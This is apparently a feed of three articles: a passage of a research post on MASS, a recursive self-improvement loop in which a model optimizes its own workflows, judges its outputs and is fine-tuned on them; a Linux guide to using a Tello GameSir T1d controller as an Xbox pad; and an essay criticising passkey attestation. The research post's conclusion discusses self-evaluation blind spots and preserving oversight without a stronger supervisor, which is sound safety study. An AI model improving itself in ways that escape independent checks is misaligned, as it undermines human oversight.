Even with an optimized workflow, the quality of long-horizon research work can vary from run to run. MASS therefore executes self-judged optimal workflows (or champion workflows, meaning the optimal workflows found so far) with multiple random seeds and uses the current model to rank the resulting workspaces, retaining the highest-ranked trajectories. Each trajectory records the messages, tool calls, and tool results of the orchestrator and its subagents.

  1. 1 Run the champion workflow 18 times for each task.
  2. 2 Use the current model to compare and rank the resulting workspaces A Bradley–Terry model converts the pairwise preferences into a score for each workspace. .
  3. 3 Retain up to 16 trajectories per task: 15 for training and one for validation.
  4. 4 Remove the workflow text from the orchestrator's initial prompt when constructing the training examples.
  5. 5 Fine-tune the shared model with LoRA on both orchestrator and subagent conversations. The model's outputs are the training targets; task prompts and tool results provide context.

Removing the workflow from the orchestrator's training prompt encourages the model to learn how to organize the work from the task itself.

Results

We run two complete rounds of MASS starting from Qwen3.6-27B in the qwen-code coding-agent environment. Our synthetic research suite contains 12 tasks in finance, robotics, and pharmacy, each requiring code, quantitative results, and a research report . Nine tasks are designated for training and three, one per domain, are held out from post-training. Eight ultimately supply training data One training task is excluded because workflow search finds no workflow that beats its reference. The task descriptions were generated by GPT-5.5 before the experiment. Within MASS, the current Qwen model supplies workflow feedback and training-data selection. The three test tasks are excluded from fine-tuning, validation, and checkpoint selection, although workflow search is also evaluated on them. .

We compare three generations: the base model \(\mathcal{L}^{(0)}\), the first-round model \(\mathcal{L}^{(1)}\), and the second-round model \(\mathcal{L}^{(2)}\). We examine the quality of their work, their ability to organize and judge it, and their use of coordination without a supplied workflow.

Better task performance

On the three synthetic test tasks, the win rate against the base rises from 53.9% after one round to 69.9% after two rounds (Table 1). The second-round model also wins 60.8% of comparisons against the first-round model.

Evaluation tasks Round 1 vs. base Round 2 vs. base Round 2 vs. round 1
Training tasks 65.6% 82.5% 68.1%
Test tasks 53.9% 69.9% 60.8%
Table 1. Synthetic task performance. External-judge win rates across eight training tasks and three tasks held out from post-training. All models receive task prompts without an optimized workflow.

To test transfer beyond the synthetic research suite, we evaluate public benchmarks. After two rounds, score per output token reaches 1.2–1.6× the base model's level across MLR-Bench, DSBench, ScienceAgentBench, and AstaBench (Figure 3) .

Benchmark scores versus output tokens for the base model and two MASS generations. Round-two score-per-token ratios relative to the base are 1.60 for MLR-Bench, 1.35 for DSBench, 1.20 for ScienceAgentBench, 1.28 for AstaBench E2E-Hard, 0.96 for Terminal-Bench 2.0, and 0.94 for SWE-bench Verified.
Figure 3. Public benchmark performance. Each arrow connects the base model (blue) to the model after two MASS rounds (green). Labels report the change in score per output token as a multiple of the base value. Error bars show standard deviations across trials. Reproduced from Figure 2 of the paper; Appendix C.5 gives benchmark protocols and trial counts.

The gains are strongest on four research benchmarks resembling the training tasks. Score per output token is 0.96× the base value on Terminal-Bench 2.0 and 0.94× on SWE-bench Verified , showing that transfer remains uneven. We suspect this generalization can be easily addressed by introducing software engineering tasks into the training data.

Observation 1. Role generalization in RSI

We observe that MASS enables role generalization in RSI. We train the model only on task-solving trajectories and observe that the capabilities of the workflow optimizer and workspace evaluator also improve. This enables RSI loop to be sustainable.

Cumulative number of tasks with a workflow unanimously preferred to the base model without a workflow. Later MASS generations reach more tasks in fewer search iterations.
Figure 4. Role generalization. Later generations find successful workflows earlier. Each curve uses one model generation in all three roles. A task is counted once all six external judgments prefer a candidate's output to the base model's output without a workflow. The curves record whether a success has been found by each iteration; later candidates can still perform worse.

Figure 4 shows optimizer can find successful workflows sooner as cycle goes by.

In fact, Figure 4 is technically not a very fair comparison, since \( L^{(0)}\) denotes a setting in which the base model (optimizer) updates the base model (optimizee), and \( L^{(1)}\) denotes a setting in which the first-round model (optimizer) updates the first-round model (optimizee). For a fair comparison, we give the first-round model's workflows to the base model (Table 2). We observe that the base model with first-round search workflows wins 64% of comparisons against the base model with base-search workflow. Each set of workflows was discovered using its generation's executor, evaluator, and optimizer. The transfer test holds execution weights fixed during evaluation. It does not isolate the optimizer from the other roles during search. Table 2 clearly shows that optimizer's capabilty have increased.

Executor Workflow source Compared with Win rate
Round 1 Round-1 search Base executing base-search workflows 80%
Base Round-1 search Base executing base-search workflows 64%
Base Round-1 search Base without a workflow 63%
Table 2. Workflow transfer. In the highlighted comparison, the same base model executes both sets of workflows. External judges assess the resulting workspaces.

The evalutor also move closer to those of the strong external model judges (more details in paper). Agreement with those external judges rises from 73% to 93% across the three cycles. Overall, these results suggest that task-solving examples can also improve capabilities used to produce and select the next round's training data.

Ablation 1: Optimal workflow maximizes information flow

What really makes an optimal multi-agent workflow effective?

We analyze the roles, instructions, contracts, and hops of the champion workflows (the best workflows found so far). For each component, we estimate how much its text reveals about the task. In the finance example above, a role such as “careful data scientist” could apply to many tasks. A contract specifying leakage checks for a trading backtest is much more distinctive We estimate mutual information between embeddings of workflow components and task descriptions, using text-embedding-3-large and all-mpnet-base-v2 with unadjusted and permutation-adjusted estimators. These statistics describe workflow text, rather than messages exchanged during execution. The samples cover only 8–9 tasks; agents within a workflow are not independent task replications. .

Changes in estimated task information from search iteration 3 to 11. Roles and instructions decrease overall, while contracts and call order increase, across two embedding models and two estimator variants.
Figure 5. Task information shifts toward contracts and call order. Curves show changes from iteration 3. By iteration 11, estimated task information falls in roles and instructions and rises in contracts and hops, across both embedding models and both estimators. Intermediate changes need not be monotonic, and vertical scales differ.

Figure 5 shows that between the first and final iterations of workflow optimization, an optimal multi-agent workflow tends to encode task information more strongly in contracts and hops and less in roles and instructions. We do not show this here, but mutual dependencies among the components generally decrease too (interesting!). This pattern suggests that the LLM optimizer evolves the workflow components to be mutually independent but optimizes the information flow via contracts and hops (see this blog post for deep, intuitive explanations) . I would say that workflow optimization over discrete components resembles discovering a basis vector for that harness space.

Observation 2: Multi-agent trajectories provide a dense RSI signal

We observe that trajectories from multi-agent systems can be more effective than trajectories from single agents in RSI. Multi-agent execution also changes the structure of the training data. The orchestrator's conversation shows how to divide a broad task into focused assignments and coordinate their execution. A subagent's conversation shows how to carry out an individual assignment. Specifically, we observe that jointly learning coordination from the orchestrator and bounded execution from subagents provides more effective supervision per training token than learning from long single-agent trajectories (Figure 6) .

We compare students trained independently from the same base model on single-agent trajectories ( S , S + , S ++ ), multi-agent trajectories ( M , M + ), and a mixture ( X ). A plus sign denotes a larger training set; M + is the first-round MASS model. All points below report results pooled across four training tasks and one test task.

Win rate against the base model versus supervised tokens processed. Multi-agent student M reaches 56.0% at 3.64M tokens; M+ reaches 68.3% at 28.82M. Single-agent students S, S+, and S++ reach 44.0%, 59.0%, and 64.0% at 1.82M, 9.11M, and 42M tokens.
Figure 6. Performance per supervised training token. Multi-agent students lie above the line joining the observed single-agent results. Scores pool four shared training tasks and one test task. Token counts include supervised targets processed up to the selected checkpoint, including repeated sampling; they exclude data generation, search, and evaluation.

Against the base model, M + reaches a 68.3% win rate after processing 28.8M supervised training tokens, while S ++ reaches 64.0% after 42M tokens. The MASS model thus achieves the higher score against this reference with 31% fewer supervised tokens The first-round dataset stores 17.2M supervised tokens. Sampling with replacement and balancing orchestrator and subagent examples produce 28.8M processed supervised tokens through the selected checkpoint. This measures exposure to training targets, including repeated examples. It excludes later updates, input tokens, validation, data generation, search, and evaluation. .

Higher-quality trajectories may contribute to this advantage. In a separate analysis, strong external judges prefer the multi-agent systems' work in 85.1% of comparisons with single-agent outputs. Team runs also generate about 2.4× as many tokens on average Among ten pairs with similar generated trace lengths, the preference for team outputs remains 80%. This comparison matches observed lengths, not generation budgets. The groups also differ in workflow and verification instructions, so the comparison does not isolate the effect of delegation. These external judgments are used for this analysis only and do not guide MASS. . But when we compare the supervised tokens used during SFT, we find that multi-agent trajectories can provide a denser learning signal than single-agent trajectories.

These results suggest that trajectories from multi-agent systems can be more effective than trajectories from single agents in RSI, extending their value beyond test-time scaling .

Observation 3. The RSI bottleneck can be the optimizer, not the evaluator

We observed that the bottleneck in RSI can be the optimizer, not the evaluator . We kept the base model as the task solver and swapped in a stronger external model (GPT-5.5) for the evaluator only, or for both the evaluator and the optimizer.

Line plot of tasks won against the bare base model versus workflow-search iteration for several configurations. GPT-5.5 as evaluator and optimizer reaches 12 tasks by iteration 5. GPT-5.5 as evaluator only reaches 10 tasks. The all-base-model loop reaches 11 tasks by iteration 13. Variants with different search histories are also shown.
Figure 7. Workflow-search ablations. Number of tasks where the evolved workflow beats the bare base model, by search iteration. The executor is always the base model \(\mathcal{L}^{(0)}\). Upgrading both the evaluator and optimizer to GPT-5.5 (orange, dashed) finds winning workflows for all 12 tasks within 5 iterations. Upgrading only the evaluator (green) helps much less. The fully homogeneous loop (blue) is slower but still reaches 11 of 12 tasks.

Figure 7 shows that upgrading only the evaluator helps a little, but upgrading the optimizer as well helps a lot. The strictly homogeneous self-improvement loop does eventually find winning workflows for 11 of 12 tasks; it just takes longer. Our interpretation is that the strong evaluator may provide high-quality feedback, but the weak optimizer is not capable enough to digest it. This suggests that, under a limited budget, one may have to prioritize the optimizer over the evaluator within an RSI loop unit.

Win rate against the base model without a workflow across workflow-search iterations. The curves for all configurations fluctuate, with strong iterations followed by sharp regressions.
Figure 8. Workflow-search stability. Win rate of the base model executing each candidate workflow against the same model without a workflow, by search iteration. Colors match the configurations in Figure 7. Strong iterations can be followed by sharp performance regressions.

Figure 8 also shows that workflow search is noisy. In text-space optimization, reaching a good workflow and improving on it stably are different problems. This suggests that the LLM optimizer may need an equivalent of a learning-rate scheduler to stabilize the search in text space.

Conclusion

In Tennyson's Ulysses , Odysseus imagines another voyage in pursuit of knowledge “Beyond the utmost bound of human thought.” For AI, we imagine an Odyssean moment when continued learning must proceed without a stronger supervisor. The challenge concerns both who can supervise further learning and how progress should be judged. Human experts may be able to state a goal without specifying an objective function that fully captures it.

Writing is a good example: expert writers can recognize strong writing, yet struggle to express their judgment in a rubric that applies reliably across contexts. For RSI, the research question is how AI can turn incomplete human guidance into useful criteria for learning, and how to test whether those criteria continue to capture the intended goal as its capabilities grow. This becomes especially challenging when the model being improved also serves as its own optimizer and evaluator: the judgments that guide improvement must themselves remain open to correction.

Wood engraving of a rowboat carrying several men toward a sailing vessel, with a mountainous coastline in the background.
Figure 9. Illustration for Tennyson's Ulysses (1857). Drawing by Clarkson Stanfield; engraving by W. J. Linton. Scan by George P. Landow, The Victorian Web .

Keeping a system's self-evaluation open to correction is also essential for safety. In a homogeneous loop, a shared blind spot could allow a flawed result to be produced, accepted as an improvement, and incorporated into the next model. If humans also struggle to recognize the flaw, successive updates may reinforce it. The safety concern is that the same weakness can compromise both the system's behavior and the mechanism meant to correct it.

In this sense, shared blind spots may be an Achilles' heel of recursive self-improvement. Understanding them matters for controlling a more capable system because it reveals where reliance on the system's own judgments is least justified. That knowledge could guide independent checks, constraints on autonomous actions, and conditions for intervention. Identifying a weakness alone does not establish control; we must also show that we can detect its consequences and intervene effectively as the system changes.

OpenAI's research on chain-of-thought monitorability illustrates one part of this challenge: reasoning traces can help reveal misbehavior, but they provide incomplete evidence . Recent analysis of a possible intelligence explosion gives further reason to study these conditions early . This is a central safety question for AI's Odyssean moment: how to preserve meaningful oversight when no stronger supervisor is available. ⛵

Tello's GameSir T1d controller as a Linux Xbox controller

Lobsters
blog.jacq.cc
2026-10-11 18:01:59
Comments...
Original Article

The GameSir T1d is the Bluetooth controller sold with the Ryze/DJI Tello drone. Try to pair it with a PC and nothing happens. It’s Bluetooth Low Energy only, and it speaks GameSir’s own GATT protocol instead of the HID profile real gamepads use. Linux, Windows, Android and SteamOS all ignore it, and GameSir says it’s Tello-only.

The Ryze Tello, a small white and black quadcopter with propeller guards

The Tello. Photo: SimonWaldherr, CC BY-SA 4.0 , via Wikimedia Commons .

It still talks to a PC over BLE, without pairing. So a small bridge program can read its input reports and create a virtual Xbox 360 pad through Linux’s uinput . Steam, SDL and most Linux games then see an ordinary wired controller. No hardware change.

My kids have been using it for online games, and they’re happy with it. The Tello is long gone, but at least the controller didn’t end up in landfill.

The GameSir T1d from the front: a dark grey gamepad with two analogue sticks, a D-pad and four face buttons

The T1d, with its phone clamp off. Photo: FCC filing 2AF9ST1D , external photos.

  • A GameSir T1d : the label on the back says FCC ID: 2AF9ST1D . The T1s looks the same but is a different board, so this guide isn’t for it.

  • A Linux PC with Bluetooth 4.0 or newer.

  • Python 3.

The T1d’s label on the back of the controller, with FCC ID 2AF9ST1D at the bottom

About 15 minutes.

All three are MIT licensed .

mkdir -p ~/t1d && cd ~/t1d

curl -O https://blog.jacq.cc/gamesir-t1d/t1d-bridge.py \

-O https://blog.jacq.cc/gamesir-t1d/60-t1d-bridge-uinput.rules \

-O https://blog.jacq.cc/gamesir-t1d/t1d-probe.py

bleak talks BLE through BlueZ; python-evdev creates the virtual pad.

python3 -m venv ~/.venvs/t1d

~/.venvs/t1d/bin/pip install bleak evdev

Step 3: Let your user create a virtual gamepad

Section titled “Step 3: Let your user create a virtual gamepad”

sudo install -m 644 60-t1d-bridge-uinput.rules /etc/udev/rules.d/

sudo udevadm control --reload && sudo udevadm trigger --name-match=uinput

~/.venvs/t1d/bin/python t1d-bridge.py --selftest

The rule tags /dev/uinput with uaccess , so the logged-in desktop user gets access to it: no sudo to run the bridge, no group change, no logging out. --selftest creates the virtual pad and moves it, with no controller needed.

Turn the controller on: hold Power for 2 seconds, and the four LEDs blink while it waits for a connection. Then:

~/.venvs/t1d/bin/python t1d-bridge.py --calibrate

For 10 seconds, move both sticks slowly round their full circle and into every corner. The real range of each axis is saved in ~/.config/t1d-bridge/<MAC>.json . Skip this and a worn stick may not reach full travel ( why ).

~/.venvs/t1d/bin/python t1d-bridge.py -v

Then open any gamepad tester ( evtest , Steam’s controller settings, KDE’s Game Controller page) and move the sticks. The bridge reconnects by itself when the controller sleeps and wakes. Ctrl-C stops it and releases every button and axis.

Handy options:

Option What it does
Hold C1 + C2 for 1.5 s Re-sample the stick centre (when drift wanders)
--deadzone 0.15 Radial dead zone, 15% by default
--flip-y Invert both Y axes
--rail-timeout 2 Treat an axis stuck at its limit for 2 s as centred ( why )
--center LX,LY,RX,RY Fix the centre instead of sampling it
--generic-ids Show up as “GameSir T1d (bridge)” instead of an Xbox 360 pad
--debug Log raw button bytes when they change

The controller advertises as Gamesir-T1d-XXXX after power-on and accepts a plain BLE connection, no pairing or bonding. Input arrives as notifications on characteristic 00008651-0000-1000-8000-00805f9b34fb (service 00008650-… ), 20 bytes each:

Bytes Meaning
0–1 Packet type: a1 c5 = input. c9 c6 = a status packet every ~5 s; drop it, or the sticks jump
2–6 Four 10-bit stick axes packed MSB-first: LX, LY, RX, RY (0–1023, centre 512)
7, 8 L2, R2 analogue, 0–255
9 A 0x01 , B 0x02 , Home 0x04 , X 0x08 , Y 0x10 , L1 0x40 , R1 0x80
10 L2 0x01 , R2 0x02 (digital), C1 0x04 , C2 0x08 , L3 0x20 , R3 0x40
11 D-pad: 0 none, 1 up, 3 right, 5 down, 7 left
18–19 Counter

Three things I found on my unit:

  • Reports only arrive when something changes. There’s no idle heartbeat: a controller lying untouched sends nothing but the 5-second status packet.
  • Every axis reads exactly 512 right after power-on. The firmware zeroes the sticks at boot, so the first report tells you nothing about the real rest position. The bridge samples the centre from the first second in which the sticks are still.
  • Reports come at most every 14 ms while values change. Fine for games.

The layout was worked out first by dg-hub and ElishaAz . I checked it against my controller with t1d-probe.py .

On the Tello, my drone crept with the sticks let go, and shaking the sticks fixed it for a while. At rest, the sticks read 714/317 (left) and 764/512 (right) instead of 512/512. The firmware sends raw ADC values with no calibration and no dead zone, so all of that reaches the drone, or the game.

Each stick axis is a carbon-track potentiometer: a metal wiper slides on a resistive track. Logging the raw values showed the real failure. With no thumb on it, the left stick’s Y axis crept from 823 to 1023 in 4 seconds, then sat at exactly 1023, the top of the ADC’s range, for 20 seconds. An axis parked on its limit while untouched is a wiper that has lost contact with the track: the ADC input floats up to the supply voltage. On the drone that’s full stick, not a small creep. Shaking scrapes the wiper back onto the track, which is why it helped.

The T1d’s main board, with a stick module at each lower corner

The main board. Each stick module (the white-topped squares) holds two potentiometers, one per axis. Photo: FCC filing 2AF9ST1D , internal photos.

The same pot also reaches only about 720 when pushed fully down, instead of 1023. That was the Tello’s throttle, the most-used axis, and the bottom of its track is worn.

What the bridge does about it:

  • Centre: sampled at each connect, from the first still second. C1 + C2 re-samples.
  • Range: each side of each axis is scaled to its own measured travel, so a pot that tops out at 720 still gives full output. Exact limit values (0 and 1023) are never learned as range, because on a worn pot they’re contact dropouts, not travel.
  • Dead zone: 15%, radial, with the rest of the travel rescaled to full output.
  • Dropouts: --rail-timeout 2 treats an axis stuck at its limit for 2 seconds as centred until it moves. It also cuts a deliberate full-stick hold after 2 seconds, so it’s off by default.

The hardware fixes, cheapest first (I haven’t done either yet):

  1. Contact cleaner. Open the shell, spray a plastic-safe electrical contact cleaner (DeoxIT D5 or similar, not WD-40) into the slot of each potentiometer, and work the stick in circles for 30 seconds. About 15 minutes; usually good for months.
  2. New stick modules. Potentiometer modules cost a few dollars and wear the same way again. Hall-effect modules (GuliKit, K-Silver JH16 and similar, in the common ALPS footprint) have no track to wear. Either way it’s 14 through-hole pins per module to desolder, and the height and pin spacing vary, so measure the T1d’s module first. About an hour.

The T1d’s BLE module, with four pads labelled CLK, DIO, GND and VDD next to it

The BLE module and its debug pads. Photo: FCC filing 2AF9ST1D , internal photos.

The controller’s Device Information service reports a PnP ID of vendor 0x000D (Texas Instruments), product 0x0000 , version 0x0110 : the defaults of TI’s BLE stack sample code. So the module almost certainly holds a TI CC2540 or CC2541 (an 8051 core), and the CLK / DIO pads next to it are its 2-wire debug port. I couldn’t read the chip marking, so that’s a strong guess, not a fact.

Custom firmware would mean IAR’s 8051 compiler, TI’s BLE-Stack 1.4 and a CC Debugger on those pads, with no public source to start from. The T1s firmware is for a different board. The bridge gets the same result without any of that.

People have written the same bridge with bleak and the ViGEmBus driver (install ViGEmBus only from Nefarius’s official v1.22.0 release):

An ESP32-S3 can be the BLE side and show up on USB as an ordinary HID gamepad, so a Steam Deck, a TV box or any PC sees a wired controller with nothing to install. imbiribajr/GameSirT1d already has the T1d’s BLE side in ESP-IDF; the USB HID part is still to write. About AU$15 in parts.

Questions or comments? Discuss on Hacker News .

Change history

  • : Every button now verified, stick clicks (L3/R3) and Home included. The pair button drops the connection, by design.
  • : First published.

Passkeys are a trap. Do not use them

Hacker News
nonfunctional.substack.com
2026-10-11 17:59:48
Comments...
Original Article

Seems like every website wants us to stop using passwords. There is a replacement we are being asked to use instead called passkeys . This should be a tad concerning if passwords are familiar to you and you don’t fully understand these nebulous passkeys.

Websites say that passkeys are more secure or more convenient or something similarly beneficial. While it is true that passkeys can be far more secure than passwords, and may indeed be more convenient, that’s not the whole story. Passkeys are not designed to prioritize your interests. Like the Trojan Horse, passkeys are legitimately elegant on the surface, but there is something troubling inside.

What’s important to know is that unlike with any other kind of login credential, you do not have ultimate control over your passkeys . With passwords, you can choose where to write them down; with authenticator apps, you can decide for yourself which ones to use (they’re pretty interchangeable); and with physical security keys you can hand them to your colleague if you really trust them. But with passkeys come a hidden dial that lets the websites you use them on gradually remove your ability to do as you please with them.

I will explain how that is possible further down, but let’s first take a look at who wants you to be using passkeys.

Passkeys are the invention of the FIDO Alliance , 1 which is a consortium of a number of different competing interests – Big Tech, little tech, national governments, intelligence agencies, banks, various public institutions, and even a handful of nonprofits like Mozilla – who are all able to agree that passkeys are a good and righteous cause.

The members of the FIDO Alliance all have their own interests. Big Tech wants to bring little inconveniences into our life so they can sell us more ads. Intelligence agencies want to track everyone in the world. Banks want to be free of indemnity. Little tech wants cheap solutions to reduce liability. Mozilla wants to avoid having to die on any particular hill. 2 I make no particular claim that any of these are bad motivations. But it is notable that no consumer advocacy groups are members of the FIDO Alliance. (This stands in contrast to, for example, the World Wide Web Consortium , the organization that decides the standards used on the web. Alongside the usual corporate members it has not only public interest groups but also universities and Tim Berners-Lee, the British computer scientist who invented the World Wide Web in 1989. Honestly, if Gandalf himself were to join the W3C he would not be out of place.) Regarding the FIDO Alliance, nobody is there to make a strong case for the user’s own interests.

The reason presented to the public for why everyone needs to use passkeys now is that passwords are insecure. On this point I agree. Consider that the servers behind the billion-dollar American IT company SolarWinds were famously found to be using solarwinds123 . Hawaii’s Emergency Management Agency (the same one that sent out that false missile alert) accidentally revealed a password due to a sticky note on someone’s desk in the background of a photograph. If your security relies on a password, you will always be anxious that somebody, somewhere, has somehow figured out what it is and already has access to your bank account.

On the other hand: what passwords have going for them is that they’re very intuitive, everyone knows how they work, people have been using them since time immemorial, and you can choose where you store them and who you share them with. Keep this in mind.

(Also keep this in mind: Netflix does not want you to share your passwords.)

But the security problem the FIDO Alliance claims to have solved with passkeys is one that has already been solved: at first by Two-Factor Authentication (in particular: receiving a text message or email with a one-time code), then with the more robust system of Time-Based One-Time Passwords (TOTP) – in common parlance, “authenticator apps. ”

What’s neat about TOTP is that it doesn’t rely on text messages or email or even the internet at all. Your authenticator software simply generates a random-looking number every 30 seconds based on the current time (and a random starting number called a “seed” or a “key” that is unique to you), and this is all that a website needs to verify you’re you. The term authenticator app is misleading, not in the least because websites tend to heavily imply you need to download a specific app, such as Google Authenticator. In reality, there is an open standard for TOTP (called RFC 6238 ); in other words, the formula used to generate these random-looking numbers is public knowledge, so you don’t need to use any one specific piece of software. In almost all cases you don’t need to use Google Authenticator just because the website suggests it. You don’t even need to use a smartphone; you can use your laptop or even a Game Boy 3 from the 90s for this purpose. You can use any software and hardware you like, so long as it can tell time decently and can handle a few lines of code. You can even write the software yourself in Python if you want, or if you feel like burning a moticum of jet fuel you can get an LLM to write it for you.

TOTP is a great solution. If you accidentally leak your TOTP in a photograph of your desk, you’re only at risk for a couple of minutes until the code expires. TOTP is certainly less intuitive than passwords, but at least like passwords you can still choose how you want to store them. You can choose where you want them to live and what software you want to use to generate the codes. And you can’t easily shoot yourself in the foot with an easy-to-guess TOTP code like you can with a password123 ; as they are nothing more than random-looking numbers, all TOTP codes are equally hard to guess. Oh, what’s more, you can send a code to your friend to let them log into your Netflix account temporarily while you’re away on business. You can even share your TOTP seed itself if you really want to so that your friends can generate your TOTP codes themselves and then they can let their friends log into your Netflix account. You might get some strange looks if you write all your TOTP seeds down on a piece of paper like you do with your passwords, but at the end of the day this data is yours to handle how you like. Aren’t open standards wonderful?

(Netflix does not want you to share your TOTP keys either.)

So what makes passkeys so different? Well, they look very similar to TOTP on the surface. Both have an open standard (RFC 6238 for TOTP, WebAuthn for passkeys), so surely passkeys must have all these same nice properties as TOTP, right? At first glance it would seem so. Indeed, just now I generated a passkey using free and open source software, and then I emailed it to a friend, and now we can both access the same website using that passkey. At no point did I have to ask anyone for permission, not the website, not the FIDO Alliance; not even my friend, who kindly let me monopolize her time without objection. What’s more, I don’t have to type any numbers by hand to use a passkey; I don’t have to remember any magic words; passkeys just work. Judging from that alone, a passkey is indeed convenient. And it sure seems like I can do whatever I want with my passkeys.

(But Netflix does not want you to share your passkeys.)

So where’s the catch?

The catch is that there is something else that is also called a “passkey” and it’s nothing like the nice kind that I just described.

In fact there are many different things called “passkeys” and the FIDO Alliance has intentionally named all of them the same thing. I believe this was done in order to deliberately confuse users and encourage them not to look too closely at the fine text. Indeed, in the technical documentation, the WebAuthn standard that defines passkeys barely uses the term passkey at all. Instead there are discoverable credentials and undiscoverable credentials ; there are hardware-backed credentials , and software-backed credentials ; there are attested and unattested credentials, and more and more.

There are so many optional components to what a passkey can be that the specs read less like a standard and more like a parts catalogue. So, let’s go over exactly what other things are in the catalogue alongside the nice and perhaps-almost-intuitive kind of passkey I described earlier. I will present them all in the best light I can manage so that you can understand why some people genuinely recommend passkeys as a good security solution, but by the end of the list I hope you will be able to see the problem I see.

Both kinds exist.

When you generate a passkey, it can be made to be non-copyable . The reason you might want this as a user is to be sure that so long as you have possession of your passkey – so long as your iPhone is in your pocket, say – nobody else can access your account. On the other hand, passkeys can be made to be copyable instead, and you might want this ability in order to share one key between your devices.

If you make a passkey, make sure you know which of these two kinds you’re making! If you think your passkey is one of these and it’s actually the other, you will end up having a bad time someday – either when you realize you can’t rescue your only passkey off your dying laptop, or when somebody else turns out to have a copy of your passkey and you didn’t know that was possible.

Both kinds exist.

Surprisingly, even if a Passkey is non-copyable , it can still be transferable . This may violate your intuition about how data is supposed to work. Although it’s how physical objects have always worked, we don’t often encounter situations in the digital world where sending something to your friend causes it to disappear from your own device.

You might want your passkey to be non-transferable in order to be completely sure that physical possession of one specific device is absolutely required to access your account. On the other hand, you might want your non-copyable passkey to be transferable in order for it to be able to move with you when you replace your smartphone for next year’s model. (Or maybe you just want to be able to play some kind of avant-garde digital relay race among your friends as an artistic statement.)

Both kinds exist.

Even if you’re not digitally savvy, you probably know what files and folders are, at least if you have a desktop computer. Admittedly, smartphones are designed to muddy the waters regarding where exactly that file you downloaded is and if folders are even a copacetic concept. (Yes, smartphones do use files and folders. They just don’t typically come with a file browser like your desktop does.)

So all these passkeys we’ve talked about so far are just files right? Well… not really. That is, they can be. Or they might not be. As with all these other qualities a passkey can optionally have, passkeys can optionally not be files at all. Indeed, since files are copyable and transferable and all sorts of other intuitive things, if passkeys had to be files, it would not be clear how anyone could make a non-copyable passkey.

Enter hardware-backed passkeys. These make use of a secure chip that comes with all modern devices which can store data that cannot be exfiltrated (meaning the data cannot leave the safety of the secure chip). There are different kinds of chips with different names: your laptop has a Trusted Platform Module and an iPhone has a “Secure Enclave” and so on. You will not find this area of your device in your file browser anywhere. 4 It is a separate component entirely. Because of their cryptographic use case (and perhaps their mystique), people have taken to calling these chips “cryptoprocessors.”

The consensus seems to be that cryptoprocessors are indeed very secure. You might wonder if someone with the know-how couldn’t just surgically open the chip with the right tools and extract the data off that way. That’s theoretically possible; however, such chips employ all kinds of chemical and electronic tamper-detection measures and will self-destruct if you try to do this. 5 So unless you have the resources of a nation-state at your disposal, you can basically take as a given that (hypothetical manufacturer backdoors notwithstanding) nobody can remove the secret data from your cryptoprocessor; not Netflix, not your operating system, not even you.

You might prefer to use a software-backed key because you understand how files work and you already have a solution that works for you for storing your private data. You might want to use a hardware-backed key to get the extra security afforded by a nigh-impenetrable cryptoprocessor.

Both kinds exist.

Some passkeys require somebody to press a button or click a prompt to confirm authentication. Others can be used without anyone in the loop at all.

You might want the former kind because you yourself are a human. You might want the latter kind in case you want to authorize a piece of software to act on your behalf.

Both kinds exist.

Okay so maybe a user was present, but how do we know the right user was present? Passkeys can optionally require biometrics (e.g. fingerprint sensors or retina scanners) or the use of PINs or passwords of their own in order to be extra sure that only one specific intended human being can use them.

You might want a user-verified passkey in order to be safe even in the situation a thief pilfers your device. You might want a non-user-verified passkey because you expect to lend your tablet to another family member so they can read your ebooks on Amazon and listen to music on your Spotify account and watch your movies on Disney+.

This is where things take a left turn.

I’ve presented all these properties so far as being up to you to decide . That may indeed be how it is on most websites – for now, at least. After all, what cause does Twitter have to tell me exactly which security measures out of the smorgasbord available I should opt into for my passkeys? But you should know that the FIDO Alliance has defined this standard such that your passkey software is required to tell the service you’re accessing which of these features are enabled. They’re called authenticator data flags in the WebAuthn standard. 6

This means Twitter (formally X) can say to you, “sorry, we only accept the User-Present User-Verified Non-Copyable Hardware-Backed varieties of passkey here. But hey! You can still choose between Transferable and Non-Transferable passkeys!” Actually, I’m being optimistic – I suspect they are unlikely to phrase it in such clear terms. They will likely just say “unfortunately your passkey isn’t secure enough; download our app.”

But it’s an open standard, isn’t it? And maybe you have a friend experienced in writing Python code. Can’t you just make your own passkey software which just does the nice file-based kind of passkeys with none of those extra security features, and then have it tell the website anyway that it’s a User-Present User-Verified Non-Copyable Hardware-Backed passkey? Can’t you just lie ?

Oh yes absolutely you can. Your passkey software can lie about whatever passkey features you like. Unless we’re talking about an Attested User-Present User-Verified Non-Copyable Hardware-Backed passkey. In which case, no. That can’t be faked.

Attested passkeys 7 are the last but most important type of passkeys you need to know about. These types of keys use what’s known as remote attestation to cryptographically verify – using the aforementioned tamper-proof cryptoprocessor that lives in all your modern devices – that you are using one of the several approved passkey managers, and not using a custom one that you vibecoded yourself and which can lie.

This is the feature that means you no longer get to make the calls about your passkeys. Fortunately, attested passkeys are not yet required on most websites. But the FIDO Alliance standard makes attestation a part of the passkey ecosystem, whether you want it or not. And even if the website doesn’t require attestation, they can still check that your setup supports it. This means that once Twitter (formally X) is satisfied that the overwhelming majority of its users would be unaffected, they can flip the switch and start rejecting non-attested passkeys.

Critically, remote attestation requires the co-operation of your cryptoprocessor, your passkey manager software, your device’s operating system, and your device’s firmware to all pass the remote attestation check. After all, your phone’s operating system has total access to all the 0s and 1s in every app that’s ever run, so it’s not enough for Twitter (formally X) to trust your passkey manager if it can’t even trust your phone’s underlying operating system. If any single one of those things were to fail – say, because your phone stopped receiving security updates so you installed a custom operating system like LineageOS to keep yourself safe without having to buy a new device – then Twitter (formally X) will be able to notice and prevent you from logging in.

I’d like to be clear that there are legitimate uses of remote attestation. By using a website that requires attested passkeys you can be sure you stay safe from accidentally installing a scammer’s fake passkey application that steals your data – the website will reject such a passkey. You might want an attested Passkey even if the website doesn’t require it, since you can use attestation to verify that your software has not been tampered with by a hacker while you weren’t looking. (Of course, attestation may be overkill for this; even if your device were hacked, the hardware-backing feature described above makes it impossible for the passkey to be exfiltrated from your device. Though admittedly that guarantee is less reassuring once you realize that even if the key stays firmly on your device a hacker could still use it if they have control of your phone otherwise. At the very least you can always power off the device to temporarily deny hackers access to your Non-Attested Hardware-Backed Non-Copyable Non-Transferable passkeys.) 8

As for reasons to not want attestation: you might want to be able to use software that Twitter (formally X) doesn’t specifically approve of, such as Linux. Or a phone with a refurbished operating system. (Or if you’re nefarious you might want to be able to lie to Netflix and tell them that of course you and your three friends are absolutely all the same person using the same device.)

(But with attestation, Netflix can finally prevent you from sharing your passkeys.)

